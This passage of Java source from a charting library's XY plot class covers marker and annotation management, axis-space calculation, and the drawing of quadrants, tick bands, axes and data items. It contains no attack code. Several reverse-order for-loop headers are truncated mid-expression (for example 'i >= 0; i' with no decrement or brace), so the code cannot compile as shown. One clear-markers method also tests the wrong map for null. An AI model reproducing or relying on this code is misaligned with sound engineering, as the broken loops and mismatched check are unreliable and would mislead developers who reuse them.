* to the range axis, however this is entirely up to the renderer.
*
* @param marker the marker (<code>null</code> not permitted).
* @param layer the layer (foreground or background).
*
* @see #addDomainMarker(int, Marker, Layer)
*/
public void addDomainMarker(Marker marker, Layer layer) {
addDomainMarker(0, marker, layer);
}
/**
* Clears all the (foreground and background) domain markers and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @see #addDomainMarker(int, Marker, Layer)
*/
public void clearDomainMarkers() {
if (this.backgroundDomainMarkers != null) {
Set keys = this.backgroundDomainMarkers.keySet();
Iterator iterator = keys.iterator();
while (iterator.hasNext()) {
Integer key = (Integer) iterator.next();
clearDomainMarkers(key.intValue());
}
this.backgroundDomainMarkers.clear();
}
if (this.foregroundDomainMarkers != null) {
Set keys = this.foregroundDomainMarkers.keySet();
Iterator iterator = keys.iterator();
while (iterator.hasNext()) {
Integer key = (Integer) iterator.next();
clearDomainMarkers(key.intValue());
}
this.foregroundDomainMarkers.clear();
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Clears the (foreground and background) domain markers for a particular
* renderer.
*
* @param index the renderer index.
*
* @see #clearRangeMarkers(int)
*/
public void clearDomainMarkers(int index) {
Integer key = new Integer(index);
if (this.backgroundDomainMarkers != null) {
Collection markers
= (Collection) this.backgroundDomainMarkers.get(key);
if (markers != null) {
Iterator iterator = markers.iterator();
while (iterator.hasNext()) {
Marker m = (Marker) iterator.next();
m.removeChangeListener(this);
}
markers.clear();
}
}
if (this.foregroundRangeMarkers != null) {
Collection markers
= (Collection) this.foregroundDomainMarkers.get(key);
if (markers != null) {
Iterator iterator = markers.iterator();
while (iterator.hasNext()) {
Marker m = (Marker) iterator.next();
m.removeChangeListener(this);
}
markers.clear();
}
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Adds a marker for a specific dataset/renderer and sends a
* {@link PlotChangeEvent} to all registered listeners.
* <P>
* Typically a marker will be drawn by the renderer as a line perpendicular
* to the domain axis (that the renderer is mapped to), however this is
* entirely up to the renderer.
*
* @param index the dataset/renderer index.
* @param marker the marker.
* @param layer the layer (foreground or background).
*
* @see #clearDomainMarkers(int)
* @see #addRangeMarker(int, Marker, Layer)
*/
public void addDomainMarker(int index, Marker marker, Layer layer) {
if (marker == null) {
throw new IllegalArgumentException("Null 'marker' not permitted.");
}
if (layer == null) {
throw new IllegalArgumentException("Null 'layer' not permitted.");
}
Collection markers;
if (layer == Layer.FOREGROUND) {
markers = (Collection) this.foregroundDomainMarkers.get(
new Integer(index));
if (markers == null) {
markers = new java.util.ArrayList();
this.foregroundDomainMarkers.put(new Integer(index), markers);
}
markers.add(marker);
}
else if (layer == Layer.BACKGROUND) {
markers = (Collection) this.backgroundDomainMarkers.get(
new Integer(index));
if (markers == null) {
markers = new java.util.ArrayList();
this.backgroundDomainMarkers.put(new Integer(index), markers);
}
markers.add(marker);
}
marker.addChangeListener(this);
notifyListeners(new PlotChangeEvent(this));
}
/**
* Removes a marker for the domain axis and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param marker the marker.
*
* @return A boolean indicating whether or not the marker was actually
* removed.
*
* @since 1.0.7
*/
public boolean removeDomainMarker(Marker marker) {
return removeDomainMarker(marker, Layer.FOREGROUND);
}
/**
* Removes a marker for the domain axis in the specified layer and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param marker the marker (<code>null</code> not permitted).
* @param layer the layer (foreground or background).
*
* @return A boolean indicating whether or not the marker was actually
* removed.
*
* @since 1.0.7
*/
public boolean removeDomainMarker(Marker marker, Layer layer) {
return removeDomainMarker(0, marker, layer);
}
/**
* Removes a marker for a specific dataset/renderer and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param index the dataset/renderer index.
* @param marker the marker.
* @param layer the layer (foreground or background).
*
* @return A boolean indicating whether or not the marker was actually
* removed.
*
* @since 1.0.7
*/
public boolean removeDomainMarker(int index, Marker marker, Layer layer) {
ArrayList markers;
if (layer == Layer.FOREGROUND) {
markers = (ArrayList) this.foregroundDomainMarkers.get(new Integer(
index));
}
else {
markers = (ArrayList) this.backgroundDomainMarkers.get(new Integer(
index));
}
boolean removed = markers.remove(marker);
if (removed) {
notifyListeners(new PlotChangeEvent(this));
}
return removed;
}
/**
* Adds a marker for the range axis and sends a {@link PlotChangeEvent} to
* all registered listeners.
* <P>
* Typically a marker will be drawn by the renderer as a line perpendicular
* to the range axis, however this is entirely up to the renderer.
*
* @param marker the marker (<code>null</code> not permitted).
*
* @see #addRangeMarker(Marker, Layer)
*/
public void addRangeMarker(Marker marker) {
addRangeMarker(marker, Layer.FOREGROUND);
}
/**
* Adds a marker for the range axis in the specified layer and sends a
* {@link PlotChangeEvent} to all registered listeners.
* <P>
* Typically a marker will be drawn by the renderer as a line perpendicular
* to the range axis, however this is entirely up to the renderer.
*
* @param marker the marker (<code>null</code> not permitted).
* @param layer the layer (foreground or background).
*
* @see #addRangeMarker(int, Marker, Layer)
*/
public void addRangeMarker(Marker marker, Layer layer) {
addRangeMarker(0, marker, layer);
}
/**
* Clears all the range markers and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @see #clearRangeMarkers()
*/
public void clearRangeMarkers() {
if (this.backgroundRangeMarkers != null) {
Set keys = this.backgroundRangeMarkers.keySet();
Iterator iterator = keys.iterator();
while (iterator.hasNext()) {
Integer key = (Integer) iterator.next();
clearRangeMarkers(key.intValue());
}
this.backgroundRangeMarkers.clear();
}
if (this.foregroundRangeMarkers != null) {
Set keys = this.foregroundRangeMarkers.keySet();
Iterator iterator = keys.iterator();
while (iterator.hasNext()) {
Integer key = (Integer) iterator.next();
clearRangeMarkers(key.intValue());
}
this.foregroundRangeMarkers.clear();
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Adds a marker for a specific dataset/renderer and sends a
* {@link PlotChangeEvent} to all registered listeners.
* <P>
* Typically a marker will be drawn by the renderer as a line perpendicular
* to the range axis, however this is entirely up to the renderer.
*
* @param index the dataset/renderer index.
* @param marker the marker.
* @param layer the layer (foreground or background).
*
* @see #clearRangeMarkers(int)
* @see #addDomainMarker(int, Marker, Layer)
*/
public void addRangeMarker(int index, Marker marker, Layer layer) {
Collection markers;
if (layer == Layer.FOREGROUND) {
markers = (Collection) this.foregroundRangeMarkers.get(
new Integer(index));
if (markers == null) {
markers = new java.util.ArrayList();
this.foregroundRangeMarkers.put(new Integer(index), markers);
}
markers.add(marker);
}
else if (layer == Layer.BACKGROUND) {
markers = (Collection) this.backgroundRangeMarkers.get(
new Integer(index));
if (markers == null) {
markers = new java.util.ArrayList();
this.backgroundRangeMarkers.put(new Integer(index), markers);
}
markers.add(marker);
}
marker.addChangeListener(this);
notifyListeners(new PlotChangeEvent(this));
}
/**
* Clears the (foreground and background) range markers for a particular
* renderer.
*
* @param index the renderer index.
*/
public void clearRangeMarkers(int index) {
Integer key = new Integer(index);
if (this.backgroundRangeMarkers != null) {
Collection markers
= (Collection) this.backgroundRangeMarkers.get(key);
if (markers != null) {
Iterator iterator = markers.iterator();
while (iterator.hasNext()) {
Marker m = (Marker) iterator.next();
m.removeChangeListener(this);
}
markers.clear();
}
}
if (this.foregroundRangeMarkers != null) {
Collection markers
= (Collection) this.foregroundRangeMarkers.get(key);
if (markers != null) {
Iterator iterator = markers.iterator();
while (iterator.hasNext()) {
Marker m = (Marker) iterator.next();
m.removeChangeListener(this);
}
markers.clear();
}
}
notifyListeners(new PlotChangeEvent(this));
}
/**
* Removes a marker for the range axis and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param marker the marker.
*
* @return A boolean indicating whether or not the marker was actually
* removed.
*
* @since 1.0.7
*/
public boolean removeRangeMarker(Marker marker) {
return removeRangeMarker(marker, Layer.FOREGROUND);
}
/**
* Removes a marker for the range axis in the specified layer and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param marker the marker (<code>null</code> not permitted).
* @param layer the layer (foreground or background).
*
* @return A boolean indicating whether or not the marker was actually
* removed.
*
* @since 1.0.7
*/
public boolean removeRangeMarker(Marker marker, Layer layer) {
return removeRangeMarker(0, marker, layer);
}
/**
* Removes a marker for a specific dataset/renderer and sends a
* {@link PlotChangeEvent} to all registered listeners.
*
* @param index the dataset/renderer index.
* @param marker the marker.
* @param layer the layer (foreground or background).
*
* @return A boolean indicating whether or not the marker was actually
* removed.
*
* @since 1.0.7
*/
public boolean removeRangeMarker(int index, Marker marker, Layer layer) {
if (marker == null) {
throw new IllegalArgumentException("Null 'marker' argument.");
}
ArrayList markers;
if (layer == Layer.FOREGROUND) {
markers = (ArrayList) this.foregroundRangeMarkers.get(new Integer(
index));
}
else {
markers = (ArrayList) this.backgroundRangeMarkers.get(new Integer(
index));
}
boolean removed = markers.remove(marker);
if (removed) {
notifyListeners(new PlotChangeEvent(this));
}
return removed;
}
/**
* Adds an annotation to the plot and sends a {@link PlotChangeEvent} to
* all registered listeners.
*
* @param annotation the annotation (<code>null</code> not permitted).
*
* @see #getAnnotations()
* @see #removeAnnotation(XYAnnotation)
*/
public void addAnnotation(XYAnnotation annotation) {
if (annotation == null) {
throw new IllegalArgumentException("Null 'annotation' argument.");
}
this.annotations.add(annotation);
notifyListeners(new PlotChangeEvent(this));
}
/**
* Removes an annotation from the plot and sends a {@link PlotChangeEvent}
* to all registered listeners.
*
* @param annotation the annotation (<code>null</code> not permitted).
*
* @return A boolean (indicates whether or not the annotation was removed).
*
* @see #addAnnotation(XYAnnotation)
* @see #getAnnotations()
*/
public boolean removeAnnotation(XYAnnotation annotation) {
if (annotation == null) {
throw new IllegalArgumentException("Null 'annotation' argument.");
}
boolean removed = this.annotations.remove(annotation);
if (removed) {
notifyListeners(new PlotChangeEvent(this));
}
return removed;
}
/**
* Returns the list of annotations.
*
* @return The list of annotations.
*
* @since 1.0.1
*
* @see #addAnnotation(XYAnnotation)
*/
public List getAnnotations() {
return new ArrayList(this.annotations);
}
/**
* Clears all the annotations and sends a {@link PlotChangeEvent} to all
* registered listeners.
*
* @see #addAnnotation(XYAnnotation)
*/
public void clearAnnotations() {
this.annotations.clear();
notifyListeners(new PlotChangeEvent(this));
}
/**
* Calculates the space required for all the axes in the plot.
*
* @param g2 the graphics device.
* @param plotArea the plot area.
*
* @return The required space.
*/
protected AxisSpace calculateAxisSpace(Graphics2D g2,
Rectangle2D plotArea) {
AxisSpace space = new AxisSpace();
space = calculateDomainAxisSpace(g2, plotArea, space);
space = calculateRangeAxisSpace(g2, plotArea, space);
return space;
}
/**
* Calculates the space required for the domain axis/axes.
*
* @param g2 the graphics device.
* @param plotArea the plot area.
* @param space a carrier for the result (<code>null</code> permitted).
*
* @return The required space.
*/
protected AxisSpace calculateDomainAxisSpace(Graphics2D g2,
Rectangle2D plotArea,
AxisSpace space) {
if (space == null) {
space = new AxisSpace();
}
// reserve some space for the domain axis...
if (this.fixedDomainAxisSpace != null) {
if (this.orientation == PlotOrientation.HORIZONTAL) {
space.ensureAtLeast(this.fixedDomainAxisSpace.getLeft(),
RectangleEdge.LEFT);
space.ensureAtLeast(this.fixedDomainAxisSpace.getRight(),
RectangleEdge.RIGHT);
}
else if (this.orientation == PlotOrientation.VERTICAL) {
space.ensureAtLeast(this.fixedDomainAxisSpace.getTop(),
RectangleEdge.TOP);
space.ensureAtLeast(this.fixedDomainAxisSpace.getBottom(),
RectangleEdge.BOTTOM);
}
}
else {
// reserve space for the domain axes...
for (int i = 0; i < this.domainAxes.size(); i++) {
Axis axis = (Axis) this.domainAxes.get(i);
if (axis != null) {
RectangleEdge edge = getDomainAxisEdge(i);
space = axis.reserveSpace(g2, this, plotArea, edge, space);
}
}
}
return space;
}
/**
* Calculates the space required for the range axis/axes.
*
* @param g2 the graphics device.
* @param plotArea the plot area.
* @param space a carrier for the result (<code>null</code> permitted).
*
* @return The required space.
*/
protected AxisSpace calculateRangeAxisSpace(Graphics2D g2,
Rectangle2D plotArea,
AxisSpace space) {
if (space == null) {
space = new AxisSpace();
}
// reserve some space for the range axis...
if (this.fixedRangeAxisSpace != null) {
if (this.orientation == PlotOrientation.HORIZONTAL) {
space.ensureAtLeast(this.fixedRangeAxisSpace.getTop(),
RectangleEdge.TOP);
space.ensureAtLeast(this.fixedRangeAxisSpace.getBottom(),
RectangleEdge.BOTTOM);
}
else if (this.orientation == PlotOrientation.VERTICAL) {
space.ensureAtLeast(this.fixedRangeAxisSpace.getLeft(),
RectangleEdge.LEFT);
space.ensureAtLeast(this.fixedRangeAxisSpace.getRight(),
RectangleEdge.RIGHT);
}
}
else {
// reserve space for the range axes...
for (int i = 0; i < this.rangeAxes.size(); i++) {
Axis axis = (Axis) this.rangeAxes.get(i);
if (axis != null) {
RectangleEdge edge = getRangeAxisEdge(i);
space = axis.reserveSpace(g2, this, plotArea, edge, space);
}
}
}
return space;
}
/**
* Draws the plot within the specified area on a graphics device.
*
* @param g2 the graphics device.
* @param area the plot area (in Java2D space).
* @param anchor an anchor point in Java2D space (<code>null</code>
* permitted).
* @param parentState the state from the parent plot, if there is one
* (<code>null</code> permitted).
* @param info collects chart drawing information (<code>null</code>
* permitted).
*/
public void draw(Graphics2D g2,
Rectangle2D area,
Point2D anchor,
PlotState parentState,
PlotRenderingInfo info) {
// if the plot area is too small, just return...
boolean b1 = (area.getWidth() <= MINIMUM_WIDTH_TO_DRAW);
boolean b2 = (area.getHeight() <= MINIMUM_HEIGHT_TO_DRAW);
if (b1 || b2) {
return;
}
// record the plot area...
if (info != null) {
info.setPlotArea(area);
}
// adjust the drawing area for the plot insets (if any)...
RectangleInsets insets = getInsets();
insets.trim(area);
AxisSpace space = calculateAxisSpace(g2, area);
Rectangle2D dataArea = space.shrink(area, null);
this.axisOffset.trim(dataArea);
if (info != null) {
info.setDataArea(dataArea);
}
// draw the plot background and axes...
drawBackground(g2, dataArea);
Map axisStateMap = drawAxes(g2, area, dataArea, info);
PlotOrientation orient = getOrientation();
// the anchor point is typically the point where the mouse last
// clicked - the crosshairs will be driven off this point...
if (anchor != null && !dataArea.contains(anchor)) {
anchor = null;
}
CrosshairState crosshairState = new CrosshairState();
crosshairState.setCrosshairDistance(Double.POSITIVE_INFINITY);
crosshairState.setAnchor(anchor);
crosshairState.setAnchorX(Double.NaN);
crosshairState.setAnchorY(Double.NaN);
if (anchor != null) {
ValueAxis domainAxis = getDomainAxis();
if (domainAxis != null) {
double x;
if (orient == PlotOrientation.VERTICAL) {
x = domainAxis.java2DToValue(anchor.getX(), dataArea,
getDomainAxisEdge());
}
else {
x = domainAxis.java2DToValue(anchor.getY(), dataArea,
getDomainAxisEdge());
}
crosshairState.setAnchorX(x);
}
ValueAxis rangeAxis = getRangeAxis();
if (rangeAxis != null) {
double y;
if (orient == PlotOrientation.VERTICAL) {
y = rangeAxis.java2DToValue(anchor.getY(), dataArea,
getRangeAxisEdge());
}
else {
y = rangeAxis.java2DToValue(anchor.getX(), dataArea,
getRangeAxisEdge());
}
crosshairState.setAnchorY(y);
}
}
crosshairState.setCrosshairX(getDomainCrosshairValue());
crosshairState.setCrosshairY(getRangeCrosshairValue());
Shape originalClip = g2.getClip();
Composite originalComposite = g2.getComposite();
g2.clip(dataArea);
g2.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER,
getForegroundAlpha()));
AxisState domainAxisState = (AxisState) axisStateMap.get(
getDomainAxis());
if (domainAxisState == null) {
if (parentState != null) {
domainAxisState = (AxisState) parentState.getSharedAxisStates()
.get(getDomainAxis());
}
}
AxisState rangeAxisState = (AxisState) axisStateMap.get(getRangeAxis());
if (rangeAxisState == null) {
if (parentState != null) {
rangeAxisState = (AxisState) parentState.getSharedAxisStates()
.get(getRangeAxis());
}
}
if (domainAxisState != null) {
drawDomainTickBands(g2, dataArea, domainAxisState.getTicks());
}
if (rangeAxisState != null) {
drawRangeTickBands(g2, dataArea, rangeAxisState.getTicks());
}
if (domainAxisState != null) {
drawDomainGridlines(g2, dataArea, domainAxisState.getTicks());
drawZeroDomainBaseline(g2, dataArea);
}
if (rangeAxisState != null) {
drawRangeGridlines(g2, dataArea, rangeAxisState.getTicks());
drawZeroRangeBaseline(g2, dataArea);
}
// draw the markers that are associated with a specific renderer...
for (int i = 0; i < this.renderers.size(); i++) {
drawDomainMarkers(g2, dataArea, i, Layer.BACKGROUND);
}
for (int i = 0; i < this.renderers.size(); i++) {
drawRangeMarkers(g2, dataArea, i, Layer.BACKGROUND);
}
// now draw annotations and render data items...
boolean foundData = false;
DatasetRenderingOrder order = getDatasetRenderingOrder();
if (order == DatasetRenderingOrder.FORWARD) {
// draw background annotations
int rendererCount = this.renderers.size();
for (int i = 0; i < rendererCount; i++) {
XYItemRenderer r = getRenderer(i);
if (r != null) {
ValueAxis domainAxis = getDomainAxisForDataset(i);
ValueAxis rangeAxis = getRangeAxisForDataset(i);
r.drawAnnotations(g2, dataArea, domainAxis, rangeAxis,
Layer.BACKGROUND, info);
}
}
// render data items...
for (int i = 0; i < getDatasetCount(); i++) {
foundData = render(g2, dataArea, i, info, crosshairState)
|| foundData;
}
// draw foreground annotations
for (int i = 0; i < rendererCount; i++) {
XYItemRenderer r = getRenderer(i);
if (r != null) {
ValueAxis domainAxis = getDomainAxisForDataset(i);
ValueAxis rangeAxis = getRangeAxisForDataset(i);
r.drawAnnotations(g2, dataArea, domainAxis, rangeAxis,
Layer.FOREGROUND, info);
}
}
}
else if (order == DatasetRenderingOrder.REVERSE) {
// draw background annotations
int rendererCount = this.renderers.size();
for (int i = rendererCount - 1; i >= 0; i
XYItemRenderer r = getRenderer(i);
if (i >= getDatasetCount()) { // we need the dataset to make
continue; // a link to the axes
}
if (r != null) {
ValueAxis domainAxis = getDomainAxisForDataset(i);
ValueAxis rangeAxis = getRangeAxisForDataset(i);
r.drawAnnotations(g2, dataArea, domainAxis, rangeAxis,
Layer.BACKGROUND, info);
}
}
for (int i = getDatasetCount() - 1; i >= 0; i
foundData = render(g2, dataArea, i, info, crosshairState)
|| foundData;
}
// draw foreground annotations
for (int i = rendererCount - 1; i >= 0; i
XYItemRenderer r = getRenderer(i);
if (i >= getDatasetCount()) { // we need the dataset to make
continue; // a link to the axes
}
if (r != null) {
ValueAxis domainAxis = getDomainAxisForDataset(i);
ValueAxis rangeAxis = getRangeAxisForDataset(i);
r.drawAnnotations(g2, dataArea, domainAxis, rangeAxis,
Layer.FOREGROUND, info);
}
}
}
// draw domain crosshair if required...
int xAxisIndex = crosshairState.getDomainAxisIndex();
ValueAxis xAxis = getDomainAxis(xAxisIndex);
RectangleEdge xAxisEdge = getDomainAxisEdge(xAxisIndex);
if (!this.domainCrosshairLockedOnData && anchor != null) {
double xx;
if (orient == PlotOrientation.VERTICAL) {
xx = xAxis.java2DToValue(anchor.getX(), dataArea, xAxisEdge);
}
else {
xx = xAxis.java2DToValue(anchor.getY(), dataArea, xAxisEdge);
}
crosshairState.setCrosshairX(xx);
}
setDomainCrosshairValue(crosshairState.getCrosshairX(), false);
if (isDomainCrosshairVisible()) {
double x = getDomainCrosshairValue();
Paint paint = getDomainCrosshairPaint();
Stroke stroke = getDomainCrosshairStroke();
drawDomainCrosshair(g2, dataArea, orient, x, xAxis, stroke, paint);
}
// draw range crosshair if required...
int yAxisIndex = crosshairState.getRangeAxisIndex();
ValueAxis yAxis = getRangeAxis(yAxisIndex);
RectangleEdge yAxisEdge = getRangeAxisEdge(yAxisIndex);
if (!this.rangeCrosshairLockedOnData && anchor != null) {
double yy;
if (orient == PlotOrientation.VERTICAL) {
yy = yAxis.java2DToValue(anchor.getY(), dataArea, yAxisEdge);
} else {
yy = yAxis.java2DToValue(anchor.getX(), dataArea, yAxisEdge);
}
crosshairState.setCrosshairY(yy);
}
setRangeCrosshairValue(crosshairState.getCrosshairY(), false);
if (isRangeCrosshairVisible()) {
double y = getRangeCrosshairValue();
Paint paint = getRangeCrosshairPaint();
Stroke stroke = getRangeCrosshairStroke();
drawRangeCrosshair(g2, dataArea, orient, y, yAxis, stroke, paint);
}
if (!foundData) {
drawNoDataMessage(g2, dataArea);
}
for (int i = 0; i < this.renderers.size(); i++) {
drawDomainMarkers(g2, dataArea, i, Layer.FOREGROUND);
}
for (int i = 0; i < this.renderers.size(); i++) {
drawRangeMarkers(g2, dataArea, i, Layer.FOREGROUND);
}
drawAnnotations(g2, dataArea, info);
g2.setClip(originalClip);
g2.setComposite(originalComposite);
drawOutline(g2, dataArea);
}
/**
* Draws the background for the plot.
*
* @param g2 the graphics device.
* @param area the area.
*/
public void drawBackground(Graphics2D g2, Rectangle2D area) {
fillBackground(g2, area, this.orientation);
drawQuadrants(g2, area);
drawBackgroundImage(g2, area);
}
/**
* Draws the quadrants.
*
* @param g2 the graphics device.
* @param area the area.
*
* @see #setQuadrantOrigin(Point2D)
* @see #setQuadrantPaint(int, Paint)
*/
protected void drawQuadrants(Graphics2D g2, Rectangle2D area) {
// 0 | 1
// 2 | 3
boolean somethingToDraw = false;
ValueAxis xAxis = getDomainAxis();
double x = this.quadrantOrigin.getX();
double xx = xAxis.valueToJava2D(x, area, getDomainAxisEdge());
ValueAxis yAxis = getRangeAxis();
double y = this.quadrantOrigin.getY();
double yy = yAxis.valueToJava2D(y, area, getRangeAxisEdge());
double xmin = xAxis.getLowerBound();
double xxmin = xAxis.valueToJava2D(xmin, area, getDomainAxisEdge());
double xmax = xAxis.getUpperBound();
double xxmax = xAxis.valueToJava2D(xmax, area, getDomainAxisEdge());
double ymin = yAxis.getLowerBound();
double yymin = yAxis.valueToJava2D(ymin, area, getRangeAxisEdge());
double ymax = yAxis.getUpperBound();
double yymax = yAxis.valueToJava2D(ymax, area, getRangeAxisEdge());
Rectangle2D[] r = new Rectangle2D[] {null, null, null, null};
if (this.quadrantPaint[0] != null) {
if (x > xmin && y < ymax) {
if (this.orientation == PlotOrientation.HORIZONTAL) {
r[0] = new Rectangle2D.Double(Math.min(yymax, yy),
Math.min(xxmin, xx), Math.abs(yy - yymax),
Math.abs(xx - xxmin)
);
}
else { // PlotOrientation.VERTICAL
r[0] = new Rectangle2D.Double(Math.min(xxmin, xx),
Math.min(yymax, yy), Math.abs(xx - xxmin),
Math.abs(yy - yymax));
}
somethingToDraw = true;
}
}
if (this.quadrantPaint[1] != null) {
if (x < xmax && y < ymax) {
if (this.orientation == PlotOrientation.HORIZONTAL) {
r[1] = new Rectangle2D.Double(Math.min(yymax, yy),
Math.min(xxmax, xx), Math.abs(yy - yymax),
Math.abs(xx - xxmax));
}
else { // PlotOrientation.VERTICAL
r[1] = new Rectangle2D.Double(Math.min(xx, xxmax),
Math.min(yymax, yy), Math.abs(xx - xxmax),
Math.abs(yy - yymax));
}
somethingToDraw = true;
}
}
if (this.quadrantPaint[2] != null) {
if (x > xmin && y > ymin) {
if (this.orientation == PlotOrientation.HORIZONTAL) {
r[2] = new Rectangle2D.Double(Math.min(yymin, yy),
Math.min(xxmin, xx), Math.abs(yy - yymin),
Math.abs(xx - xxmin));
}
else { // PlotOrientation.VERTICAL
r[2] = new Rectangle2D.Double(Math.min(xxmin, xx),
Math.min(yymin, yy), Math.abs(xx - xxmin),
Math.abs(yy - yymin));
}
somethingToDraw = true;
}
}
if (this.quadrantPaint[3] != null) {
if (x < xmax && y > ymin) {
if (this.orientation == PlotOrientation.HORIZONTAL) {
r[3] = new Rectangle2D.Double(Math.min(yymin, yy),
Math.min(xxmax, xx), Math.abs(yy - yymin),
Math.abs(xx - xxmax));
}
else { // PlotOrientation.VERTICAL
r[3] = new Rectangle2D.Double(Math.min(xx, xxmax),
Math.min(yymin, yy), Math.abs(xx - xxmax),
Math.abs(yy - yymin));
}
somethingToDraw = true;
}
}
if (somethingToDraw) {
Composite originalComposite = g2.getComposite();
g2.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER,
getBackgroundAlpha()));
for (int i = 0; i < 4; i++) {
if (this.quadrantPaint[i] != null && r[i] != null) {
g2.setPaint(this.quadrantPaint[i]);
g2.fill(r[i]);
}
}
g2.setComposite(originalComposite);
}
}
/**
* Draws the domain tick bands, if any.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param ticks the ticks.
*
* @see #setDomainTickBandPaint(Paint)
*/
public void drawDomainTickBands(Graphics2D g2, Rectangle2D dataArea,
List ticks) {
Paint bandPaint = getDomainTickBandPaint();
if (bandPaint != null) {
boolean fillBand = false;
ValueAxis xAxis = getDomainAxis();
double previous = xAxis.getLowerBound();
Iterator iterator = ticks.iterator();
while (iterator.hasNext()) {
ValueTick tick = (ValueTick) iterator.next();
double current = tick.getValue();
if (fillBand) {
getRenderer().fillDomainGridBand(g2, this, xAxis, dataArea,
previous, current);
}
previous = current;
fillBand = !fillBand;
}
double end = xAxis.getUpperBound();
if (fillBand) {
getRenderer().fillDomainGridBand(g2, this, xAxis, dataArea,
previous, end);
}
}
}
/**
* Draws the range tick bands, if any.
*
* @param g2 the graphics device.
* @param dataArea the data area.
* @param ticks the ticks.
*
* @see #setRangeTickBandPaint(Paint)
*/
public void drawRangeTickBands(Graphics2D g2, Rectangle2D dataArea,
List ticks) {
Paint bandPaint = getRangeTickBandPaint();
if (bandPaint != null) {
boolean fillBand = false;
ValueAxis axis = getRangeAxis();
double previous = axis.getLowerBound();
Iterator iterator = ticks.iterator();
while (iterator.hasNext()) {
ValueTick tick = (ValueTick) iterator.next();
double current = tick.getValue();
if (fillBand) {
getRenderer().fillRangeGridBand(g2, this, axis, dataArea,
previous, current);
}
previous = current;
fillBand = !fillBand;
}
double end = axis.getUpperBound();
if (fillBand) {
getRenderer().fillRangeGridBand(g2, this, axis, dataArea,
previous, end);
}
}
}
/**
* A utility method for drawing the axes.
*
* @param g2 the graphics device (<code>null</code> not permitted).
* @param plotArea the plot area (<code>null</code> not permitted).
* @param dataArea the data area (<code>null</code> not permitted).
* @param plotState collects information about the plot (<code>null</code>
* permitted).
*
* @return A map containing the state for each axis drawn.
*/
protected Map drawAxes(Graphics2D g2,
Rectangle2D plotArea,
Rectangle2D dataArea,
PlotRenderingInfo plotState) {
AxisCollection axisCollection = new AxisCollection();
// add domain axes to lists...
for (int index = 0; index < this.domainAxes.size(); index++) {
ValueAxis axis = (ValueAxis) this.domainAxes.get(index);
if (axis != null) {
axisCollection.add(axis, getDomainAxisEdge(index));
}
}
// add range axes to lists...
for (int index = 0; index < this.rangeAxes.size(); index++) {
ValueAxis yAxis = (ValueAxis) this.rangeAxes.get(index);
if (yAxis != null) {
axisCollection.add(yAxis, getRangeAxisEdge(index));
}
}
Map axisStateMap = new HashMap();
// draw the top axes
double cursor = dataArea.getMinY() - this.axisOffset.calculateTopOutset(
dataArea.getHeight());
Iterator iterator = axisCollection.getAxesAtTop().iterator();
while (iterator.hasNext()) {
ValueAxis axis = (ValueAxis) iterator.next();
AxisState info = axis.draw(g2, cursor, plotArea, dataArea,
RectangleEdge.TOP, plotState);
cursor = info.getCursor();
axisStateMap.put(axis, info);
}
// draw the bottom axes
cursor = dataArea.getMaxY()
+ this.axisOffset.calculateBottomOutset(dataArea.getHeight());
iterator = axisCollection.getAxesAtBottom().iterator();
while (iterator.hasNext()) {
ValueAxis axis = (ValueAxis) iterator.next();
AxisState info = axis.draw(g2, cursor, plotArea, dataArea,
RectangleEdge.BOTTOM, plotState);
cursor = info.getCursor();
axisStateMap.put(axis, info);
}
// draw the left axes
cursor = dataArea.getMinX()
- this.axisOffset.calculateLeftOutset(dataArea.getWidth());
iterator = axisCollection.getAxesAtLeft().iterator();
while (iterator.hasNext()) {
ValueAxis axis = (ValueAxis) iterator.next();
AxisState info = axis.draw(g2, cursor, plotArea, dataArea,
RectangleEdge.LEFT, plotState);
cursor = info.getCursor();
axisStateMap.put(axis, info);
}
// draw the right axes
cursor = dataArea.getMaxX()
+ this.axisOffset.calculateRightOutset(dataArea.getWidth());
iterator = axisCollection.getAxesAtRight().iterator();
while (iterator.hasNext()) {
ValueAxis axis = (ValueAxis) iterator.next();
AxisState info = axis.draw(g2, cursor, plotArea, dataArea,
RectangleEdge.RIGHT, plotState);
cursor = info.getCursor();
axisStateMap.put(axis, info);
}
return axisStateMap;
}
/**
* Draws a representation of the data within the dataArea region, using the
* current renderer.
* <P>
* The <code>info</code> and <code>crosshairState</code> arguments may be
* <code>null</code>.
*
* @param g2 the graphics device.
* @param dataArea the region in which the data is to be drawn.
* @param index the dataset index.
* @param info an optional object for collection dimension information.
* @param crosshairState collects crosshair information
* (<code>null</code> permitted).
*
* @return A flag that indicates whether any data was actually rendered.
*/
public boolean render(Graphics2D g2,
Rectangle2D dataArea,
int index,
PlotRenderingInfo info,
CrosshairState crosshairState) {
boolean foundData = false;
XYDataset dataset = getDataset(index);
if (!DatasetUtilities.isEmptyOrNull(dataset)) {
foundData = true;
ValueAxis xAxis = getDomainAxisForDataset(index);
ValueAxis yAxis = getRangeAxisForDataset(index);
XYItemRenderer renderer = getRenderer(index);
if (renderer == null) {
renderer = getRenderer();
if (renderer == null) { // no default renderer available
return foundData;
}
}
XYItemRendererState state = renderer.initialise(g2, dataArea, this,
dataset, info);
int passCount = renderer.getPassCount();
SeriesRenderingOrder seriesOrder = getSeriesRenderingOrder();
if (seriesOrder == SeriesRenderingOrder.REVERSE) {
//render series in reverse order
for (int pass = 0; pass < passCount; pass++) {
int seriesCount = dataset.getSeriesCount();
for (int series = seriesCount - 1; series >= 0; series
int firstItem = 0;
int lastItem = dataset.getItemCount(series) - 1;
if (lastItem == -1) {
continue;
}
if (state.getProcessVisibleItemsOnly()) {
int[] itemBounds = RendererUtilities.findLiveItems(
dataset, series, xAxis.getLowerBound(),
xAxis.getUpperBound());
firstItem = itemBounds[0];
lastItem = itemBounds[1];
}
for (int item = firstItem; item <= lastItem; item++) {
renderer.drawItem(g2, state, dataArea, info,
this, xAxis, yAxis, dataset, series, item,
crosshairState, pass);
}
}
}
}
else {
//render series in forward order
